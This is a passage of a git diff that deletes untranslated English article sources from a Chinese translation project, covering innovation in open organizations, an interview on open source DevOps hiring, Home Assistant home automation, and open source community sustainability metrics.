isolated or under-populated places. Innovation is born out of communities. - -#### 4\. Innovation is iterative. - -To innovate successfully, one must be willing to experiment and develop a high tolerance for error. One must not be shocked by set-backs; instead, we need to be overjoyed by learning from them. Most great discoveries come from data gleaned and lessons learned during failed experiments. Therefore, while collaborating, there should be an environment of _playfulness_. By just playing around, we help ideas come to the surface. This is why I prefer approaching problems with others by using the expression "let's just kick this idea around a bit." It keeps everyone open to new ideas and does not allow bias or strong narrowing positions to creep in, avoiding the tendency to shut down discussion too quickly. - -The more and faster you make errors, the better. As Ridley states: - -> "Amazon is a good example of failure on the road to success, as Jeff Bezos has often proudly insisted. 'Our success at Amazon is a function of how many experiments we do per year, per month, per week. Being wrong might hurt you a bit, but being slow will kill you.' Bezos once said: 'If you can increase the number of experiments you try from a hundred to a thousand, you dramatically increase the number of innovations you produce.'" - -This is where open organization principles are important. If you have a wide community experimenting and feeding their results back to you, imagine how quickly you will find a solution (or new opportunities, for that matter) while looking at a failure with many eyes and perspectives. - -#### 5\. Innovation is collaborative. - -No one innovates in isolation. Others always play a role—whether large or small—in your innovations. The best ideas are stored between two or more minds, not in one single mind. - -Therefore, _transparency_ to what is in everyone's minds and _collaboration_ on that content are vital. Quite often, one person comes up with a product idea, then another person finds ways to manufacture it, then a third person looks at that manufacturing process and comes up with a way to execute it in a far less expensive way. All these phases are part of the overall innovation—but we focus only on one in the stories we tell about it. More often than recognized, it was a _team_, a collective effort, that led to success. - -Moreover, Matt Ridley argues that most innovations _do not_ come from producers. More frequently, they come from _consumers_ that want to _improve_ on what they are using. So when we explore open organization communities, we must remain focused on the ways these communities incorporate feedback they receive from _outside_ themselves, perhaps from _users_ of related products, and find someone among them that wants to improve on them. - -### Free to innovate - -"The main ingredient in the secret sauce that leads to innovation is freedom," Ridley writes. "Freedom to exchange, experiment, imagine, invest and fail; freedom from expropriation or restriction; freedom on the part of consumers to reward the innovations they like and reject the ones they do not." This freedom will have to be supported by sensible regulations that are permissive, encouraging, and quick to give decisions (Ridley is critical of current intellectual property regulations, citing a negative impact on the innovation process). We have to take a good look at the hurdles blocking innovation, as this exploration process should be promoted. - -In the next part of this series, I'll provide an overview of actual cases of various innovations throughout history and explain how open organization principles played a role in shaping them. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/11/environments-for-innovation - -作者:[Ron McFarland][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ron-mcfarland -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_redwoods2.png?itok=H-iasPEv (A sprout in a forest) -[2]: https://opensource.com/open-organization/20/10/best-ideas-recognition-innovation -[3]: https://en.wikipedia.org/wiki/Matt_Ridley -[4]: https://www.goodreads.com/en/book/show/45449488-how-innovation-works -[5]: https://theopenorganization.org/definition/ -[6]: https://opensource.com/open-organization/20/8/global-history-collaboration -[7]: https://opensource.com/users/jwhitehurst -[8]: https://opensource.com/open-organization/19/6/innovation-delusion -[9]: https://en.wikipedia.org/wiki/Roy_J._Plunkett diff --git a/sources/talk/20201109 DevOps Replaces Developers As Most Sought After Skill Set.md b/sources/talk/20201109 DevOps Replaces Developers As Most Sought After Skill Set.md deleted file mode 100644 index 8b66610ede..0000000000 --- a/sources/talk/20201109 DevOps Replaces Developers As Most Sought After Skill Set.md +++ /dev/null @@ -1,76 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (DevOps Replaces Developers As Most Sought After Skill Set) -[#]: via: (https://www.linux.com/interviews/devops-replaces-developers-as-most-sought-after-skill-set/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -DevOps Replaces Developers As Most Sought After Skill Set -====== - -[_The_ 2020 Open Source Jobs Report][1] _just came out so we took the opportunity to speak with Clyde Seepersad, Senior Vice President and General Manager of Training and Certification at the Linux Foundation, about the significance of the report and the insights it provides on the current open source landscape. He touched on the effects of COVID-19 on hiring trends, the open source skills that are in high demand, and how the Foundation is helping organizations meet this demand through high-quality intensive training. Bottom line, he says “We still don’t have enough open source talent. The urgency of finding new ways to bring talent into the market continues to be something that should be front and center for all of us.”_ - -**Swapnil Bhartiya: What is the importance of this report? Not only for the open source ecosystem, but companies outside of the open source ecosystem, because today almost everybody’s leveraging open source in one capacity or another.** - -Clyde Seepersad: One of the things that we didn’t realize several years ago is that there is a lot of data around general employment reports and a few around IT and technology in general, but there was really this gap when it comes to what’s happening on open source talent, and we kept hearing anecdotally that people can’t hire or can’t find enough talent. - -And so what we wanted to do was put a really clear spotlight on what’s going on specifically when it comes to the talent pool around open source, to be able to share with the market a sort of non-anecdotal state of the world, but also to be able to inform our own strategy and our own mission, which is to try to ensure not just that there is fantastic code coming out of open source projects, but also that there is enough talent to implement and use it as tool. - -**Swapnil Bhartiya: What are some of the key highlights of this report?** - -Clyde Seepersad: A couple of things. One is the rise of DevOps skills. I think everybody knows cloud is hot. It’s been that way for a while, but the companion piece to that around DevOps and the importance of understanding CI/CD pipelines and also the cultural difference of working in that sort of continuous delivery. The rise of that, I think, is something that maybe most people are not quite as aware of. - -The second thing I would highlight is that there were a lot of questions about what’s happening to tech hiring in response to the COVID pandemic. We have some answers for that, that says that although hiring slowed down, it did not slow down nearly as much as people might have worried at the outset. In fact, it’s now accelerating. - -The top-level thing, which is continuing to be the case, is we still don’t have enough open-source talent. The urgency of finding new ways to bring talent into the market continues to be something that should be front and center for all of us. - -**Swapnil Bhartiya: So if we look at this report, what are the skills that are kind of not only most in demand, but also hardest to find? That is like a chicken-and-egg solution, right?** - -Clyde Seepersad: Yeah. Obviously, it’s the cloud skills, right? A lot of the smaller companies, more conservative companies, they kind of make us push them to be much more active on the cloud. What that’s done is raise the stakes in terms of people who are familiar with cloud-native development, cloud-native architecture, Kubernetes orchestration, and then what does CI/CD pipelines look like in a cloud world because obviously, there’s some changes there when you’re running that sort of infrastructure. So those interwoven skillsets, right? - -Of course, sitting underneath all of that is what operating system does the cloud run on? I think we all know now that the vast, fast 98% of instances are running on Linux. So you have this tiered approach where understanding from basic Linux competence is a baseline and then you’re building on top of that, looking for cloud-native development, cloud-native orchestration, and then what the CI/CD pipelines look like to bring that to life. - -**Swapnil Bhartiya: So when we look at this shortage of talent and, at the same time, the demand for talent, in addition to just coming out with this report, do you have any kind of advice or suggestion to the hiring managers? What can they do to attract top developers or talent to their organizations because there is heavy demand and everybody wants them?** - -Clyde Seepersad: Right. Well, some of the things actually have happened in response to the pandemic, right? One of the trends we saw last year was people wanting the flexibility to be able to work from home. Of course, now we all work from home so that helps. But what came out in the report that was really interesting is that more and more talent managers are realizing that you don’t just have to go externally for talent, that you can, in fact, upskill people who are currently in your organization. - -The data suggests that a lot more people are waking up and realizing that trolling LinkedIn for your next hire is a zero-sum game because other people are doing the same. They’re starting to invest more in training, especially online training. They’re starting to invest more in certifications for their employees. And just in general, they’re starting to be much more proactive in looking at investing into their talent pool and finding ways to provide new opportunities for development. Of course, that also comes with new job opportunities for the existing employee base. - -**Swapnil Bhartiya: I just want to talk a little bit more about COVID-19. A couple of things are happening with COVID-19: a lot of companies that are scaling down. They’re cutting budgets and everything. At the same time, since people are able to work remotely, you don’t have to relocate yourself or you don’t have to find talent in the same area. You have access to almost everybody wherever they are. So how has COVID-19 affected the hiring process itself in terms of while they do have to scale down to some extent, the beauty is, I should not say that, the world that we are living in is all powered by cloud and technology. All the purchases that I was making even in my Indian grocery, they now have a website. I can just go and place an order. It was not the case earlier. So, cloud actually enabled companies to stay in business. That also means that you do need developers and all those talents to keep those businesses running. At the same time, you have the advantage of not having to relocate. So talk a bit about it.** - -Clyde Seepersad: Yeah, that’s true. I don’t think that’s tied together, right? So as people have been forced to use the cloud more, I had the same experience you did. My local Chinese restaurant suddenly developed a website and they have an ordering business that they did not previously have. Every business is now an e-commerce business is true, right? So there’s this broader footprint. - -On the flip side of it, you also have people who are now having to work from home, where they maybe didn’t use to, either for practical or maybe cultural reasons within the company. That also then intersects with the sort of cultural change and the cultural norms of CI/CD and DevOps, right? This idea that you have to be in person together versus this idea that you have a well-documented pipeline and everybody can contribute to that pipeline and do their commits and do their code, that whole tooling ecosystem of cloud native and DevOps has actually made it, made it easier—and I would argue, possible—to do what’s happened and what we’ve seen over the past several months, which is people being productive, working from home, working with people they haven’t worked with before, onboarding new team members, and being able to get them provisioned with the right access and up skill on the right systems. It’s all really come together. In my view, we have been lucky that we’ve got the technology infrastructure that we have today because I don’t know that we would have been able to stay as productive and focused in a sudden shift to remote work if we were trying to do this even five years ago, - -**Swapnil Bhartiya: I’m a good example of that because I have been working from home ever since I moved out of India. What I realized was that I work when I feel that I’m most productive instead of hey, I have to clock in at 9:00 AM and I have to clock out at 5:00 PM. I have to sit there and do something. It doesn’t matter how I feel. And then sometimes, there are personal issues. Somebody is sick in the family and your mind is there, but you have to come to the office. I think remote working offers the best balance between work and life. Of course, it is actually more challenging because you may end up working all the time, but still, it offers a better balance. Earlier you were talking about how you don’t have to go out to hire people; you can also internally train people. So when we look at organizations and they look at all these new cloud-native technologies and they want to retain or prepare their own workforce, what resources are available there, especially from the Linux Foundation so that they can better equip their own workforce when there is already a shortage of a lot of talent?** - -Clyde Seepersad: Yeah, it’s a good question, Swapnil. From a practical perspective, the portfolio that we have provided, which is very heavily focused on self-paced e-learning that you take online, but at the same time, very skills-based, very lab-intensive online training, because ultimately, what do you care about as a colleague or as a hiring manager? It’s not whether they check the box and they have a certificate saying they completed a course. What you care about is the skills, right? Did they actually develop those skills? So, we’ve got a pretty big portfolio of very hands-on, self-paced e-learning programs to help people develop the skills. And then we’ve continued to build our portfolio of performance-based certification exams. So this is not your grandad’s pick an answer out of a lineup, right? These are live systems with variable questions, and you have to demonstrate your skills under the pressure of time, under the pressure of being proctored by an independent person. I think it’s that one-two punch of really focusing on skills. - -I joke with people all the time. We get feedback sometimes that our courses aren’t don’t have enough video. And I say, “Well, true, because we’re not trying to entertain you. We’re trying to develop skills and the way you develop skills is not by staring at a screen and listening to a video. The way you develop skills is by doing a lab.” So we’ve got a very lab-centric mindset in terms of the training side of it and that carries on into the certification side of it, where it’s all about performance. Show that you can do the work, take the time to develop the skills because that’s what your colleagues are going to be looking for. That’s what your employers are going to be looking for. That’s what’s going to benefit you personally, as an individual — to be able to have that broader skill set and to be able to do that in a remote way and not have to rely on a senior trainer coming onto site and working with you. I think that’s going to be the new normal. - -**Swapnil Bhartiya: The advantage of this crisis is that people are realizing that they don’t have to move. Actually, they can move to the ideal pace they wanted to live. It could be a big ranch, it could be a beach, and they can work for companies who are operating in Silicon Valley, which also means you can also cross national boundaries. The whole idea of hope is open source is the best and the brightest people from around the globe. So how do you enable these people? People come from different cultural backgrounds, different education backgrounds, and different languages. Do you also help them irrespective of where they’re coming from, whether it’s internationalizing or supporting different languages so people can get training?** - -Clyde Seepersad: Yeah. Our LS training, we do that. Obviously, the online format helps because it’s truly available 24/7 globally, nights and weekends. So that really has expanded the footprint of what we’re able to do and who we are able to reach. We’ve also done some translations, particularly for the certification exams to make those available in languages that we know folks may not otherwise be comfortable with, for Japan and China, for instance. - -What we’re trying to do is mirror what we’re seeing in the workforce. The shift towards more remote work has actually opened up the pipeline. When you think about hiring and talent management, if you think about somebody who is in the US or in Western Europe, your pool is not as limited. You really can reach out to this global pool of talent in non-traditional markets. We’ve seen sectors get hot. Obviously, India has a lot of workshops today. There’s a ton of stuff happening in Eastern Europe now, but it really is global, right? We’ve got folks on our team in South America being super productive in this new remote way of working. I think that’s becoming more and more typical. Because of the rise of cloud native, because of the rise of Cloud Native, because of the rise of this sort of collaborative DevOps mindset, we are able to collaborate across regions, across countries, across time zones, much more effectively than they ever have before. - -**Swapnil Bhartiya: Awesome. Clyde, thank you so much for talking to me today about not only this report, but also how to help hiring managers not only get more talent, but also not retrain their own employees. I look forward to talking to you again. Thank you.** - -Clyde Seepersad: Hey, it’s always a pleasure to be with you, Swap. Thank you. - --------------------------------------------------------------------------------- - -via: https://www.linux.com/interviews/devops-replaces-developers-as-most-sought-after-skill-set/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 -[1]: https://www.prnewswire.com/news-releases/2020-open-source-jobs-report-reveals-spike-in-demand-for-devops-talent-continued-dearth-of-open-source-skills-301159394.html#:~:text=The%202020%20Open%20Source%20Jobs%20Report%20examines%20trends,and%20how%20employers%20attract%20and%20retain%20qualified%20talent. diff --git a/sources/talk/20201111 Why I use Home Assistant for open source home automation.md b/sources/talk/20201111 Why I use Home Assistant for open source home automation.md deleted file mode 100644 index 6d85628c8d..0000000000 --- a/sources/talk/20201111 Why I use Home Assistant for open source home automation.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Why I use Home Assistant for open source home automation) -[#]: via: (https://opensource.com/article/20/11/home-assistant) -[#]: author: (Steve Ovens https://opensource.com/users/stratusss) - -Why I use Home Assistant for open source home automation -====== -Home automation can be a slippery slope. The right open source tools can -get you on firmer footing. -![Houses in a row][1] - -Home automation is a slippery slope; you have been warned! In this multipart series, I will discuss home automation using the open source project Home Assistant. This introductory article will cover my journey to [Home Assistant][2], what the application does, and why it's important. - -### How my journey began - -Some time ago, when I set out on this journey, my goal was not lofty. I was solving a need. You see, I have a fairly sizable [homelab][3]. Nothing on the scale of some notable YouTubers, but I have eight machines ranging from 16GB RAM all the way up to 96GB. I have a Netgear 10G Ethernet switch as the backbone of my networking infrastructure. However, I have a small problem. Every once in a while, this switch's state table fills up, and then it crashes, taking the network with it. This is a known issue with this model (although it was not known to me ahead of time). The only way to resolve the issue, without replacing the switch, is to power it off for a few seconds and then power it back on. - -This would not seem like a big deal. Especially because I live in an apartment, so I don't even have to travel up or down a flight of stairs to do this. However, I work for Red Hat as a senior OpenShift consultant, which means I am often on the road (at least pre-COVID). I use my lab almost every day for work-related activities, and my family uses the network as well for things like playing games, watching our Blu-ray collection, etc. So, it's a giant pain to have the network go down when I don't have physical access. My solution was to get a smart plug and join it to a completely different network with nothing else on it, completely firewalled off from other equipment. If the Netgear switch needs to be rebooted, I should be able to access the smart plug remotely to reboot the switch. - -### My journey away from the cloud - -Being privacy-conscious, perhaps bordering on the tinfoil hat breed, I am immediately uncomfortable with a "cloud"-connected anything. We run [Plex][4], [Kodi][5], [Nextcloud][6], and a host of other services because, well, I am "that guy." But I'm not "anti-cloud." In fact, a large part of my day job is working with the big three: AWS, Google Compute, and Azure. But when it comes to standing up services that I rely on, I have an almost irrational need to host things locally. - -After doing a significant amount of digging and speaking to my coworker Alex Kretzschmar (who also hosts the [Self-Hosted][7] podcast), I discovered alternative firmware projects, such as [Tasmota][8] and [ESPHome][9], available for certain wireless chipsets. I'll cover the different chipsets and protocols (Zigbee, WiFi, Z-Wave, and the like) in a future article, but suffice it to say, you are not stuck buying products that are dependent on the cloud. There are online stores such as [CloudFree][10] that sell devices pre-flashed with Tasmota. There are even companies like [Shelly][11] that produce high-quality products with an optional cloud component, but the buyer maintains local control. - -Anyway, back to my story. I bought a plug, flashed the firmware to run Tasmota, and remotely power-cycled my switch on occasion, and that was the end of it, right? Well, if it was, I imagine I would not be writing this article. I currently have 43 Internet of Things (IoT) devices—from sensors I built to smart bulbs, smart LED strips, infrared blasters, and more. Remember how I said home automation is a slippery slope? - -Did I mention that I have had virtually no experience with soldering, electronic theory/repairs, or anything remotely related to home automation? In fact, outside of Linux and related technology, I am one of the least "handy" people I know. Sure, I can punch a hole in a wall or put some screws in a board, but up to the age of 30, the only tools that I ever owned were a Dremel and some screwdrivers for installing computer components. - -Why mention this? So you understand exactly how far behind square one I was when I started. If I can take this on, so can you! - -### Centralized local control - -Great, I have a ton of IoT devices, and I can toggle things on and off from a phone. For a while, I was satisfied with simply calling up the Tasmota web UI and using its sparse but functional controls. - -![Tasmota user interface][12] - -(Steve Ovens, [CC BY-SA 4.0][13]) - -Even my wife, God bless her willingness and patience while I constantly learned and attempted new things, got used to using the Tasmota interface. After a while, as the number of devices grew, this method of managing things became untenable and did not scale well at all. - -I began to poke around to learn how other people were managing their "smart homes." Let's be honest; at this point, it wasn't a smart home as much as a small but growing number of lights we could remotely control. - -The big open source projects in this area are [openHAB][14] and [Home Assistant][15]. This series won't compare them in any manner. Partly, it's because I am not qualified for this, as I have only been using Home Assistant for the last year or so, but also because for me to feel comfortable making such a comparison, I would have to set up openHAB as a drop-in replacement and, frankly, I have too much invested in Home Assistant to explore this avenue. - -### About Home Assistant - -You may be wondering what Home Assistant is and what it has to offer. Imagine a house that reacts to its inhabitants, like in sci-fi movies. Perhaps you have a couple of bedside lamps, a TV, some floor lighting, a fan, and a few other gizmos in your bedroom. As you walk into the bedroom, the lights turn on. Big deal, you say; we have had this technology for some time. Of course, you are right. But what if it's late and your significant other is already in bed? You might be in for a rather cold greeting if the lights come on as you enter the bedroom. Yikes! - -What if, instead, when you walk into the room at night, the floor LED lights turn on to a soft glow—enough so that you can move around without killing yourself but not bright enough to wake a sleeping partner. You climb into bed, and a few minutes later, the floor lighting turns off. This is what Home Assistant can do for you. - -"But wait!" I hear you screaming at your monitor. "I can just ask Alexa or Google to turn off my lights for me." You're correct again, of course. However, what happens when these services suffer some sort of disruption? Also, you may need to consider how loudly you need to speak to trigger the listening device. And remember that thing I said about privacy? Do you really want these big companies to learn your habits? Even discarding the privacy issue, consider that others may use your home as well. This means visitors need to know what commands you have available for controlling your smart devices. - -Lots of "smart" products on the market can set timers, schedules, and scenes, but none of them can really _react_ to any given situation. This is where a home automation hub like Home Assistant comes into play. - -At its core, Home Assistant is software that helps centralize all of the sensors, gizmos, and gadgets you have in your home. With all of these products working together in concert, you can set all kinds of conditions that would not otherwise be possible. - -Has someone entered the room? Is it a certain time of the day? Is the room warmer than a certain value? Is someone in bed? All of these data points are of limited use on their own, but together, you can use them to set the brightness of a light at dusk, turn a fan on because it's above 26ºC (80ºF) in the room, but don't turn on Steve's desk lamp because his side of the bed is occupied. - -If you can imagine it, you can accomplish it using Home Assistant and the right sensor inputs. - -### Sustainable and open source - -One thing I like about Home Assistant is that it seems to be reaching a critical mass of adoption from various vendors. But more important to me is that the company behind it, [Nabu Casa][16], creates a focal point for the community. The company hired developers directly from the community, and it does not penalize you if you don't pay a monthly fee. The revenue Nabu Casa generates comes from value-added items, like being able to access your local Home Assistant easily and from anywhere in the world. - -This is important because it means that there is a path forward for the project, and it has a sustainable income for future development. Unlike "open core" models, Home Assistant is fully open source, which means that if the community disagrees strongly enough with Nabu Casa's direction, it could fork Home Assistant at its current state and take a divergent path. Because my family has chosen to make this piece of software integral to how we interact with our devices, that Home Assistant has a revenue stream and is fully open source are invaluable to me. - -In the next article, I will discuss some of the common standards for IoT devices as well as the benefits of local control. Future articles will walk through the basics of installing Home Assistant, setting up essential add-ons (e.g., MQTT), Node-RED, the Community Store, making backups, and more. - -In the meantime, comment or [tweet][17] at me if you would like to explore something specific in-depth. If I have used it, I can talk about it. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/home-assistant - -作者:[Steve Ovens][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stratusss -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/house_home_colors_live_building.jpg?itok=HLpsIfIL (Houses in a row) -[2]: https://www.home-assistant.io/ -[3]: https://opensource.com/article/19/3/home-lab -[4]: https://www.plex.tv/ -[5]: https://opensource.com/article/19/1/manage-your-media-kodi -[6]: https://nextcloud.com/ -[7]: https://selfhosted.show/ -[8]: https://tasmota.github.io/docs/ -[9]: https://esphome.io/ -[10]: https://cloudfree.shop/ -[11]: https://shelly.cloud/ -[12]: https://opensource.com/sites/default/files/uploads/tasmota_ui.png (Tasmota user interface) -[13]: https://creativecommons.org/licenses/by-sa/4.0/ -[14]: https://www.openhab.org/ -[15]: https://opensource.com/article/18/3/smart-home-assistant -[16]: https://www.nabucasa.com/ -[17]: https://twitter.com/linuxovens diff --git a/sources/talk/20201112 Improve open source community sustainability by tracking these two metrics.md b/sources/talk/20201112 Improve open source community sustainability by tracking these two metrics.md deleted file mode 100644 index 7ac4f2becb..0000000000 --- a/sources/talk/20201112 Improve open source community sustainability by tracking these two metrics.md +++ /dev/null @@ -1,146 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Improve open source community sustainability by tracking these two metrics) -[#]: via: (https://opensource.com/article/20/11/open-source-community-sustainability) -[#]: author: (Kevin Xu https://opensource.com/users/kevin-xu) - -Improve open source community sustainability by tracking these two metrics -====== -Focusing on metrics around community ownership and incentives can -increase your odds of building a sustainable open source project. -![Person using a laptop][1] - -In early 2020, I wrote an article on [three metrics][2] for tracking and measuring offline, in-person community-building activities. Little did I (or the world) know then that offline, in-person activities of any kind would soon become unfeasible for the foreseeable future. - -So, I started thinking: With open source projects being online by default, and with everything else moving online and virtual, what should creators of open source technologies measure as we continue in this COVID and (hopefully soon) post-COVID world? - -There are plenty of metrics you _can_ track—stars, forks, pull requests (PRs), merge requests (MRs), contributor counts, etc.—_but more data doesn't necessarily mean clearer insights_. I've previously shared my skepticism about the value of these [surface-level metrics][3], especially when assessing an open source project's health and sustainability. - -In this article, I propose two second-order metrics to track, measure, and continually optimize to build a strong, self-sustaining open source community: - - * Breakdowns of PR or MR reviewers - * Leaderboards of different community interactions - - - -### Why these metrics? - -The long-term goal of any open source community-building effort is to reach a tipping point where the project can live beyond the initial creators' or maintainers' day-to-day involvement. It's an especially important goal if you also are building a commericial open source software (COSS) company around that open source technology, whether it's bootstrapped or venture capital-backed. Your company will eventually have to divert resources and people power to build commercial services or paid features. - -It's a lofty goal that few projects achieve. Meanwhile, maintainer burnout is a real problem. The latest and most high-profile example is Redis creator Salvatore Sanfilippo, who shared his [struggles as an open source maintainer][4] last year and [bowed out as CEO][5] of Redis Labs earlier this year. Maintainers of various projects, big or small, struggle through similar challenges every day. - -Focusing on the two metrics above, especially early in your open source journey, can increase your odds of building something sustainable because they illuminate two important elements that drive sustainability: **ownership** and **incentive**. - -#### Breaking down PR/MR reviewers = Ownership - -Tracking who in your community is actively reviewing contributions is a good indicator of ownership. In the beginning, you, the creator, do the bulk of reviewing, but this will be unsustainable over time. Being intentional about building your community so that more people have the _contextual knowledge, confidence, and welcoming attitude_ to review incoming PRs/MRs (which should increase in frequency as your project gains traction) is crucial to long-term sustainability. - -There's a customer service-like element to reviewing contributions, which can deteriorate if not enough people feel ownership to do it. And one of the worst signals you can give to an otherwise enthusiastic newcomer is a PR or MR left unattended for two or more weeks. - -#### Community interaction leaderboards = Incentive - -Tracking a few community-facing interactions and possibly gamifying them within your community with rewards can help drive the right incentives and behaviors among community members with all levels of experience. Some of the interactions you can track are the number of PRs/MRs filed, comments, reactions, and reviews (which has some overlap with reactions). These interactions may have different values and quality, but the bigger goal here is _to understand who's doing what, who's good at doing what_, and intentionally _foster more behaviors based on people's strengths and interests_. - -Perhaps some people are great at providing helpful comments but don't have enough context (yet) to review a PR/MR. It would be good to identify who they are and provide them with more info so that they can become a reviewer one day. Perhaps some people are super-engaged with monitoring the project, as shown by their frequent reactions, but don't feel comfortable chiming in with comments and suggestions. It would be good to know who they are and help them gain more context into the project's inner workings, so they can add more value to a community they clearly care about.  - -### How to use the metrics - -So how can you track and read into these metrics? I'll illustrate with an example comparing two open source projects: [Kong][6], an API gateway, and [Apache Pulsar][7], a pub-sub messaging system. - -In May 2020, I used [Apache Superset][8], an open source data visualization tool, along with a tutorial written by [Max Beauchemin][9], one of the project's creators, to crawl and visualize some data from Kong, Apache Pulsar, and [a few other projects][10]. Using [the tutorial][11], I crawled two years' worth of data (from May 2018 to May 2020) to see changes over time. (Note: The tutorial is an example of Superset's own data with some hard-coded linkage to its history inside Airbnb and Lyft, so to use it, you will need to do some customization of the dashboard JSON to make it work more generally.) - -Two caveats: First, the data was last gathered in May, so it will surely look different today. Second, the projects were open sourced at different times, and this comparison is not a judgment on the current state or potential of either project. (Kong's first commit was in November 2014, and Pulsar's was in September 2016. Of course, both were worked on in private before being open sourced.) Some of the differences you see may simply be due to the passage of time and community effort paying off at different times; _community building is a long, persistent slog_. - -#### PR reviewer metrics - -The following two charts show Kong and Pulsar's PR reviews by GitHub handle: - -![Kong PR reviews by GitHub handle][12] - -Kong's PR reviews by GitHub handle (COSS Media, ©2020) - -![Pulsar's PR reviews by GitHub handle][13] - -Pulsar's PR reviews by GitHub handle (COSS Media, ©2020) - -Based on this data, I observe that Kong has a better balance of people reviewing PRs than Pulsar has. That balance was achieved over time as the Kong project grew in maturity. The most important thing to note is that neither of Kong's creators, [Aghi][14] nor [Marco][15], is anywhere close to being the top reviewers. _That's a good thing!_ They certainly were during the early days, but their involvement became less visible as the project matured, as it should. - -As a younger project, Pulsar isn't at the same level yet but is on its way to achieving that balance. [Sijie][16], [Jia][17], and [Penghui][18] are doing the bulk of the reviewing for now; all three are project management committee members and lead SteamNative, Pulsar's COSS company. Other major players, including Splunk (especially after it [acquired][19] Streamlio), also contribute to the project, which is a good leading indicator of eventually achieving balance. - -One factor I'm intentionally glossing over is the difference in the governance process of an Apache Software Foundation project and a non-ASF project, which would impact the speed and procedure for a contributor to become a reviewer or maintainer. In that regard, this comparison is not 100% apples-to-apples. - -#### Community interaction metrics - -Following are two leaderboard charts showing Kong and Pulsar's community interactions by GitHub handle in the 90 days since the most recent data gathered (roughly from March to May 2020): - -![Kong's 90-day leaderboard chart][20] - -Kong's 90-day leaderboard chart (COSS Media, ©2020) - -![Pulsar's 90-day leaderboard chart][21] - -Pulsar's 90-day leaderboard chart (COSS Media, ©2020) - -These leaderboards reflect the same "level of balance" shown in the previous chart, which makes sense. The more interesting takeaway is who is doing what kind of interaction, how much _interacting_ is happening, and who seems to be doing it all (Sijie!). - -As far as building the right incentive structure, this leaderboard-type view can help you get a sense of where interactions are coming from and what sort of reward or motivational system you want to design to accelerate positive behaviors. - -This data is also useful for internal management _and_ external community building. As close watchers can tell, many of the leaders on these charts are employees of the projects' COSS companies, Kong Inc. and StreamNative. It's quite common for active community contributors (or enthusiasts) to become employees of the company commercializing the project. Regardless of where these folks are employed, to foster a sustainable project beyond its initial creators (which in turn would influence the sustainability of the COSS company), you would need to measure, track, and incentivize the same behaviors. - -Also, I'm aware that the Pulsar chart does not have a "reactions" column, which could either be because there wasn't much reaction data to merit a top-10 entry or due to my own faulty configuration of the chart. I apologize for this inconsistency. - -### Tips on driving balanced sustainability - -No matter how pretty the charts are, data doesn't tell the whole story. And no matter how successful a particular project is, its experience should not be templatized and applied directly to a different project. That said, I'd like to share a few actionable tips I've seen work in the wild that can help you improve these two metrics over time: - - * **Provide high-quality documentation:** In a previous article, I focused on [documentation][22], and I encourage you to give it a read. The most important point is: a project's documentation gets the most amount of traffic. It's the place where people decide whether to continue learning about your project or move on. _You never want to give people a reason to move on_. Generally, I recommend spending 10% to 20% of your time writing documentation. Putting it in context: if you are working on your project full-time, it's about half a day to one full day per week. - * **Make your contributor guide a living document:** Every project has a CONTRIBUTING.MD document (or a variation of it). But projects that grow and mature make that document the best it can be and continually refresh, update, and refine it. Why? Because that's where people who are enthusiastic about participating in the project go. If the guide is clear, succinct, and actionable, you'll get contributions in no time. If it's outdated, convoluted, and lacks an easy onramp (e.g., beginner issues, simple bugs, etc.), then that enthusiasm will go somewhere else. _Make your CONTRIBUTING.MD a killer feature_. - * **Set clear quality guidelines:** There _is_ such a thing as a "noisy contribution"—low-quality PRs/MRs that require more energy than it's worth to review (and oftentimes reject). However, the responsibility of communicating to the public what is and is not a "quality contribution" is on you, the creator or maintainer, because you have the most context and institutional knowledge about the project, by far. _Make your expectations clear, and don't compromise on quality._ Make it a prominent section of your CONTRIBUTING.MD or a separate document to give it more visibility. Combine it with your project's roadmap, which should be part of your public documentation anyway, so your new contributors know what's expected of them and why. - - - -I hope this provides some useful insight into the two second-order metrics that matter when building a sustainable open source community and some actionable items you can use to track and improve them. - -* * * - -_This article originally appeared on_ _[COSS Media][23]_ _and is republished with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/11/open-source-community-sustainability - -作者:[Kevin Xu][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kevin-xu -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://opensource.com/article/20/3/community-metrics -[3]: https://softwareengineeringdaily.com/2019/04/04/project-health-assessing-open-source-projects-with-more-context/ -[4]: http://antirez.com/news/129 -[5]: http://antirez.com/news/133 -[6]: https://github.com/Kong/kong -[7]: 